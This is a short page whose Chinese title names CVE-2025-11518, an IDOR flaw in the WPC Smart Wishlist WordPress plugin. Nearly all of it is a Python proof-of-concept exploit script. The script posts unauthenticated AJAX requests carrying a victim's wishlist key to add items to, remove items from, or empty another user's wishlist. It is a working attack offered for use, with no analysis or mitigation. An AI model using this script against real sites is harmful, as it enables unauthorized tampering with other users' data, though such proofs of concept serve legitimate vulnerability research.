CVE-2025-11518：WPC Smart Wishlist插件IDOR漏洞

# CVE-2025-11518 PoC - WPC Smart Wishlist IDOR Exploit # Exploits missing authorization validation on wishlist key in AJAX endpoints import requests TARGET_URL = "https://target-wordpress-site.com" # The wishlist key can be obtained from shared wishlist URLs or other sources WISHLIST_KEY = "stunning-strong-key-here" # Target user's wishlist key # WordPress AJAX endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 1: Add an item to victim's wishlist via IDOR def add_item_to_wishlist(product_id): """ Exploit IDOR to add a product to another user's wishlist without authentication. """ payload = { "action": "wpcsw_add_to_wishlist", "product_id": str(product_id), "wishlist_key": WISHLIST_KEY # User-controlled key without ownership validation } response = requests.post(ajax_url, data=payload) print(f"[*] Add item response: {response.status_code}") print(f"[*] Response body: {response.text}") return response # Step 2: Empty victim's wishlist via IDOR def empty_wishlist(): """ Exploit IDOR to empty another user's wishlist without authentication. """ payload = { "action": "wpcsw_remove_all_from_wishlist", "wishlist_key": WISHLIST_KEY # User-controlled key without ownership validation } response = requests.post(ajax_url, data=payload) print(f"[*] Empty wishlist response: {response.status_code}") print(f"[*] Response body: {response.text}") return response # Step 3: Remove specific item from victim's wishlist def remove_item_from_wishlist(product_id): """ Exploit IDOR to remove a specific product from another user's wishlist. """ payload = { "action": "wpcsw_remove_from_wishlist", "product_id": str(product_id), "wishlist_key": WISHLIST_KEY } response = requests.post(ajax_url, data=payload) print(f"[*] Remove item response: {response.status_code}") print(f"[*] Response body: {response.text}") return response if __name__ == "__main__": print("[*] CVE-2025-11518 - WPC Smart Wishlist IDOR Exploit") print(f"[*] Target: {TARGET_URL}") print(f"[*] Wishlist Key: {WISHLIST_KEY}") print("-" * 50) # Example: Add product ID 123 to victim's wishlist add_item_to_wishlist(123) # Example: Empty victim's entire wishlist # empty_wishlist() # Example: Remove product ID 456 from victim's wishlist # remove_item_from_wishlist(456)